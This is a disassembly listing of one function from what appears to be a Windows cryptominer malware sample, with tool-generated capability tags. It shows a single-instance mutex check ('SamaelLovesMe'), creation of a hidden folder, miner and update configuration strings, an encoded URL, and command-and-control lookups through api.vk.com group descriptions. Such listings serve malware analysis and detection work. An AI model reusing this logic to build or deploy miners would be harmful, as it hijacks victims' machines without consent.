Function at 0x406d90
Capabilities:
Check mutex on windows
Create directory
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1d3c
call fcn.00418e10
mov eax, dword [0x42b6dc]
xor eax, esp
mov dword [esp + 0x1d38], eax
mov al, byte [0x427efc]
movq xmm0, qword [str.75339222]
push ebx
push esi
push edi
push 0x37
mov byte [esp + 0x2c], al
lea eax, [esp + 0x2d]
push 0
push eax
movq qword [esp + 0x2c], xmm0
call fcn.0040eac0
add esp, 0xc
lea eax, [esp + 0x61]
push 0x3f
push 0
push eax
mov byte [esp + 0x6c], 0
call fcn.0040eac0
add esp, 0xc
xorps xmm0, xmm0
push 0x400
push 0x42dfb0
mov byte [esp + 0x18], 0
movq qword [esp + 0x19], xmm0
mov dword [esp + 0x21], 0
mov word [esp + 0x25], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x406e4b
call fcn.00408b40
mov eax, 0x666666
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1d38]
xor ecx, esp
call fcn.00409dff
mov esp, ebp
pop ebp
ret 0x10
mov edx, str.Ahr0CdOVlZeUBgfSA2fIB3KUEJGUCNuV
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x406e53
sub edx, ecx
push 0x40
push 0x42dfd0
mov ecx, str.Ahr0CdOVlZeUBgfSA2fIB3KUEJGUCNuV
call fcn.00404a90
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 8
mov dword [0x42dfc8], eax
push str.SamaelLovesMe
push 1
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call ebx
cmp eax, 0xb7
jne 0x406ee0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SamaelLovesMe
push 1
push 0
call edi
mov edi, eax
call ebx
cmp eax, 0xb7
jne 0x406ee0
push edi
call esi
mov ecx, dword [esp + 0x1d44]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00409dff
mov esp, ebp
pop ebp
ret 0x10
mov ecx, str.FirewallGUI.exe
call fcn.00408010
test al, al
jne 0x406ec7
push str.SystemDrive
call fcn.0040bfd8
mov al, byte [eax]
add esp, 4
mov byte [str.X:.Trash_100], al
push 0
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
mov edx, str.0050
mov ecx, str.version
call fcn.00404750
mov ecx, str.ActivateDesktop.exe
add esp, 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f38
sub ecx, edx
push ecx
mov edx, str.ActivateDesktop.exe
mov ecx, str.framework_exe
call fcn.00404750
add esp, 4
call fcn.00405c40
call fcn.00406110
push 0x104
lea edx, [esp + 0x43c]
mov ecx, str.miner_exe_name
call fcn.004048c0
add esp, 4
test al, al
je 0x406f87
lea ecx, [esp + 0x438]
call fcn.00407f10
mov bl, byte [esp + 0xf]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov bh, bl
call fcn.00407a90
push 0x40
lea edx, [esp + 0x64]
mov ecx, str.group_ids
call fcn.004048c0
add esp, 4
test al, al
push 0x427f2c
lea eax, [esp + 0x64]
jne 0x406fbc
lea eax, [esp + 0x24]
push eax
call fcn.0040bc4c
mov esi, eax
add esp, 8
test esi, esi
je 0x40706b
nop
push str._method_groups.getById.xml_fieldsdescriptiongroup_ids
lea eax, [esp + 0x1b4]
push 0x80
push eax
call fcn.0040b0a9
add esp, 0xc
lea eax, [esp + 0xa0]
push str.description
push 0x10
push eax
call fcn.0040b0a9
add esp, 0xc
lea eax, [esp + 0xd40]
push 0
push 0
push 0x1000
push eax
lea edx, [esp + 0x1c0]
mov ecx, str.api.vk.com
call fcn.00407490
add esp, 0x10
test al, al
je 0x407043
lea eax, [esp + 0xd40]
push str.banned
push eax
call fcn.0040b570
add esp, 8
test eax, eax
jne 0x407052
mov ecx, esi
call fcn.00405de0
test al, al
jne 0x407114
push 0x427f2c
push 0
call fcn.0040bc4c
mov esi, eax
add esp, 8
test esi, esi
jne 0x406fd0
test bl, bl
je 0x407132
push 0x800
lea edx, [esp + 0x544]
mov ecx, str.mining_info
call fcn.004048c0
add esp, 4
lea edx, [esp + 0xb0]
push 0x100
mov ecx, str.update_info
call fcn.004048c0
add esp, 4
mov dl, 1
lea ecx, [esp + 0xb0]
call fcn.00406b00
test bh, bh
jne 0x4070eb
push 0
push 0
push 0
push 0x406600
push 0
push 0
call fcn.0040ba1f
push 0
push 0
push 0
push 0x404fd0
push 0
push 0
call fcn.0040ba1f
mov byte [esp + 0x3e], 1
mov bh, byte [esp + 0x3e]
add esp, 0x30
push 0
push 0
lea eax, [esp + 0x548]
push eax
push 0x405140
push 0
push 0
call fcn.0040ba1f
add esp, 0x18
push 0x927c0
call edi
jmp 0x406f93
push esi
lea eax, [esp + 0x14]
push 0x10
push eax
call fcn.0040b0a9
mov byte [esp + 0x1b], 1
mov bl, byte [esp + 0x1b]
add esp, 0xc
jmp 0x407073
push 0x100
lea edx, [esp + 0xb4]
mov ecx, str.update_info
call fcn.004048c0
add esp, 4
test al, al
je 0x40715f
xor dl, dl
lea ecx, [esp + 0xb0]
call fcn.00406b00
jmp 0x407166
push 0x1388
call edi
push str._link_
lea eax, [esp + 0x234]
push 0x104
push eax
call fcn.0040b0a9
lea ecx, [esp + 0x23c]
add esp, 0xc
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407190
sub ecx, edx
mov esi, 0x104
mov eax, esi
sub eax, ecx
lea edx, [esp + 0x230]
add edx, ecx
push eax
mov ecx, str.backup_url
call fcn.004048c0
add esp, 4
test al, al
jne 0x4071ea
lea ecx, [esp + 0x230]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4071c7
sub ecx, edx
push 0x42dfd0
sub esi, ecx
lea eax, [esp + 0x234]
add eax, ecx
push esi
push eax
call fcn.0040b0a9
add esp, 0xc
push str.reserved.raum_update__link__encryption_key_666_SamaelLovesMe_666__encryption_key_
lea eax, [esp + 0x234]
push 0x104
push eax
call fcn.0040b381
add esp, 0xc
xor dl, dl
lea ecx, [esp + 0x230]
call fcn.00406b00
call fcn.00405d50
int3